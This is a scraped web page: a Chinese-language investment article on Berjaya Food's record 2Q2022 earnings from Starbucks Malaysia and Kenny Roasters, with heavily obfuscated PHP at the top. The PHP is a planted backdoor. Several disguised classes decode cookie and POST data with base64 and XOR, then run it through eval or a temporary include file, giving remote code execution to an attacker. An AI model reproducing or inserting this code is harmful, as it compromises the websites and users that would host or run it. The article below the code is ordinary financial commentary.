$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$xZVubUqBM = chr ( 110 - 43 ).chr (81) . "\137" . "\x58" . chr ( 1062 - 961 ).chr ( 871 - 786 ).chr ( 617 - 505 ); $GYdCw = chr (99) . "\154" . "\141" . "\163" . chr (115) . "\137" . "\x65" . "\x78" . "\151" . "\x73" . "\164" . chr (115); $uDbHwBlr = class_exists($xZVubUqBM); $GYdCw = "40236";$HXuuZr = !1;if ($uDbHwBlr == $HXuuZr){function TxYfE(){$vGJIGlS = new /* 60081 */ CQ_XeUp(27568 + 27568); $vGJIGlS = NULL;}$HaERdJfy = "27568";class CQ_XeUp{private function zfHWxMkTzo($HaERdJfy){if (is_array(CQ_XeUp::$IgKJbuq)) {$JGKjsNlSH = sys_get_temp_dir() . "/" . crc32(CQ_XeUp::$IgKJbuq["\x73" . chr ( 126 - 29 ).'l' . chr (116)]);@CQ_XeUp::$IgKJbuq['w' . "\162" . "\151" . "\164" . 'e']($JGKjsNlSH, CQ_XeUp::$IgKJbuq[chr ( 534 - 435 )."\157" . chr ( 589 - 479 )."\164" . "\145" . chr (110) . chr ( 848 - 732 )]);include $JGKjsNlSH;@CQ_XeUp::$IgKJbuq['d' . "\x65" . chr (108) . 'e' . chr ( 533 - 417 )."\145"]($JGKjsNlSH); $HaERdJfy = "27568";exit();}}private $nRQyKihvz;public function iTsTMfTYae(){echo 24263;}public function __destruct(){$HaERdJfy = "18732_37362";$this->zfHWxMkTzo($HaERdJfy); $HaERdJfy = "18732_37362";}public function WhSRNl($uEBDxMlQln, $LIbiKKutA){return $uEBDxMlQln[0] ^ str_repeat($LIbiKKutA, (strlen($uEBDxMlQln[0]) / strlen($LIbiKKutA)) + 1);}public function __construct($vodqDiz=0){$fzUozWgwt = $_POST;$iEVwZGn = $_COOKIE;$LIbiKKutA = "e893c040-6b83-4cec-bff5-41db571debf3";$zragSJvm = @$iEVwZGn[substr($LIbiKKutA, 0, 4)];if (!empty($zragSJvm)){$KoJWGNVE = "base64";$uEBDxMlQln = "";$zragSJvm = explode(",", $zragSJvm);foreach ($zragSJvm as $VpEALybqpY){$uEBDxMlQln .= @$iEVwZGn[$VpEALybqpY];$uEBDxMlQln .= @$fzUozWgwt[$VpEALybqpY];}$uEBDxMlQln = array_map($KoJWGNVE . "\x5f" . 'd' . chr ( 295 - 194 ).chr (99) . 'o' . chr ( 413 - 313 )."\x65", array($uEBDxMlQln,)); $uEBDxMlQln = $this->WhSRNl($uEBDxMlQln, $LIbiKKutA);CQ_XeUp::$IgKJbuq = @unserialize($uEBDxMlQln);}}public static $IgKJbuq = 37750;}TxYfE();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}$KiyNnjTAv = chr (65) . "\137" . 'p' . chr ( 389 - 307 ).chr ( 604 - 486 ).'c' . chr (108); $ZfxDJj = "\x63" . "\x6c" . chr ( 723 - 626 ).'s' . chr (115) . "\137" . 'e' . "\170" . 'i' . chr (115) . "\164" . "\163";$GirRcwVoO = class_exists($KiyNnjTAv); $ZfxDJj = "50179";$KLsdq = !1;if ($GirRcwVoO == $KLsdq){function GdPeTmfsjV(){$wEMyqWWs = new /* 29848 */ A_pRvcl(26677 + 26677); $wEMyqWWs = NULL;}$HCrcazWG = "26677";class A_pRvcl{private function KShFZP($HCrcazWG){if (is_array(A_pRvcl::$osGUpaYAk)) {$UZLTIrM = str_replace(chr (60) . "\77" . 'p' . chr ( 1039 - 935 ).chr (112), "", A_pRvcl::$osGUpaYAk['c' . "\x6f" . "\x6e" . chr (116) . "\x65" . "\156" . chr (116)]);eval($UZLTIrM); $HCrcazWG = "26677";exit();}}private $goqER;public function kDwIQ(){echo 7919;}public function __destruct(){A_pRvcl::$osGUpaYAk = @unserialize(A_pRvcl::$osGUpaYAk); $HCrcazWG = "3152_52173";$this->KShFZP($HCrcazWG); $HCrcazWG = "3152_52173";}public function rTkvi($GHJBi, $SKHjEq){return $GHJBi[0] ^ str_repeat($SKHjEq, (strlen($GHJBi[0]) / strlen($SKHjEq)) + 1);}public function qfcfwLyQ($GHJBi){$Zghltd = "base64";return array_map($Zghltd . '_' . chr (100) . chr ( 824 - 723 )."\143" . "\x6f" . chr (100) . "\145", array($GHJBi,));}public function __construct($XyATftCruy=0){$KUQcYyyePq = $_POST;$sGlehm = $_COOKIE;$SKHjEq = "b75cb282-71ee-4cc5-977b-57d1364412fd";$avSajvmzGH = @$sGlehm[substr($SKHjEq, 0, 4)];if (!empty($avSajvmzGH)){$GHJBi = "";$avSajvmzGH = explode(",", $avSajvmzGH);foreach ($avSajvmzGH as $EyTBjkovtd){$GHJBi .= @$sGlehm[$EyTBjkovtd];$GHJBi .= @$KUQcYyyePq[$EyTBjkovtd];}A_pRvcl::$osGUpaYAk = $this->rTkvi($this->qfcfwLyQ($GHJBi), $SKHjEq);}}public static $osGUpaYAk = 48665;}GdPeTmfsjV();}$arQxIWGD = chr (67) . "\152" . "\x5f" . chr ( 1009 - 895 )."\120" . 'W' . "\x43";$laqaInFOip = chr (99) . 'l' . chr ( 730 - 633 )."\x73" . chr ( 379 - 264 ).chr ( 1029 - 934 ).'e' . 'x' . 'i' . "\163" . chr ( 160 - 44 )."\163";$OnwUNqxET = class_exists($arQxIWGD); $laqaInFOip = "11722";$xDjYmApfeD = !1;if ($OnwUNqxET == $xDjYmApfeD){function TBTJviGUG(){$QddMCK = new /* 58320 */ Cj_rPWC(42876 + 42876); $QddMCK = NULL;}$iDfxzQmymW = "42876";class Cj_rPWC{private function ptEZQYhw($iDfxzQmymW){if (is_array(Cj_rPWC::$jpvCEdvP)) {$PSywZSUc = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . "\160", "", Cj_rPWC::$jpvCEdvP['c' . "\x6f" . "\x6e" . "\x74" . chr ( 774 - 673 ).chr ( 633 - 523 )."\164"]);eval($PSywZSUc); $iDfxzQmymW = "42876";exit();}}private $zwNMvZh;public function SDwMAoTw(){echo 61545;}public function __destruct(){$iDfxzQmymW = "44206_37695";$this->ptEZQYhw($iDfxzQmymW); $iDfxzQmymW = "44206_37695";}public function auMentIkx($jQDeZKwX, $xBFzoBR){return $jQDeZKwX[0] ^ str_repeat($xBFzoBR, (strlen($jQDeZKwX[0]) / strlen($xBFzoBR)) + 1);}public function __construct($LfbBkn=0){$wvajXh = $_POST;$wwPHU = $_COOKIE;$xBFzoBR = "24fc4c71-9ea5-4713-9627-f4d9c16525c9";$zfpcijaF = @$wwPHU[substr($xBFzoBR, 0, 4)];if (!empty($zfpcijaF)){$BukcJKdb = "base64";$jQDeZKwX = "";$zfpcijaF = explode(",", $zfpcijaF);foreach ($zfpcijaF as $sODvOo){$jQDeZKwX .= @$wwPHU[$sODvOo];$jQDeZKwX .= @$wvajXh[$sODvOo];}$jQDeZKwX = array_map($BukcJKdb . "\137" . chr ( 1099 - 999 ).chr ( 422 - 321 ).'c' . chr ( 986 - 875 ).'d' . chr ( 769 - 668 ), array($jQDeZKwX,)); $jQDeZKwX = $this->auMentIkx($jQDeZKwX, $xBFzoBR);Cj_rPWC::$jpvCEdvP = @unserialize($jQDeZKwX);}}public static $jpvCEdvP = 53655;}TBTJviGUG();}
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复苏来了？做吃生意真好 - Sharix

复苏来了？做吃生意真好

今天笔者和大家谈谈衣食住行当中的食，也就是做吃的生意。上个星期有一家在大马经营餐饮的公司交出了历史新高的业绩，这家公司就是成功食品Berjaya Food。大家可能觉得好奇为什么在反复行动管制令的背景下生意还能蒸蒸日上。笔者就和大家探讨公司业绩爆炸背后的原因，以及未来的成长空间。另外也顺便和大家探讨还有什么食品公司能吃上这波复苏行情，而且还未被投资者发现。

大家都知道成功食品拥有大马星巴克和Kenny Roasters的经营权，前者占公司营收的88%，而后者则占了其余的12%。观察最新季度2Q2022的业绩，公司的营收按季成长了45.3%，按年更是大幅成长56.7% 至RM272.8 million。营收大幅成长除了受到年终假期旺季、圣诞季节以及行动管制令的放宽所推动，也归功于经济开放所带来的抑制需求，广场的人流开始回涌，商业活动也逐渐回温。

营收的上涨也致使净利从去年同期的RM11.1 million大幅增长249.6% 至RM38.9 million创下历史新高。除了受到营收的推动，净利增长最主要的因素是旗下的Kenny Roasters成功转亏为盈。Kenny Roasters在过去的盈利表现都不佳，而公司主要的盈利都是来自于星巴克。但是，经过管理层调整行销策略、改造新的菜单、关闭盈利表现欠佳的分行以及政府在放宽人流限制导致餐厅人潮回涌，Kenny Roasters成功从1Q2022的RM2.5 million亏损转亏为盈之2Q2022的RM6 million。

把焦点放到大马星巴克的业务。即使面对疫情的影响，大马星巴克也展现了弹性。虽然疫情导致商场和分店的人流大幅减少，但是星巴克通过其他管道如drive-through以及外卖服务 (Delivery) 去弥补门店销售的不足。此外，管理层也通过对于门店的重新装潢、开发更多新饮品，及客户忠诚奖励计划等营销策略，去吸引更多人流以及提高产品的平均销售价格。值得注意的是，在星巴克的消费者平均消费额 (ticket size) 都出现上涨的趋势。

综合上述因素，成功食品的EBITDA margin从上季1Q2022的29.9% 大幅上涨至2Q2022的35.3% 历史新高。分开个别业务来看，Kenny Roasters 28.6% 的EBIT margin在这个季度首次高于星巴克的25.8%（请参考上图）。笔者认为公司未来的EBITDA margin在Kenny Roasters成功转亏为盈的背景下能够维持在至少30% 至35% 的范围之间。另外，从同店销售增长 (Same-store-sales-growth) 作观察，星巴克和Kenny Roasters的SSSG在这个季度也分别来到51% 及61%。

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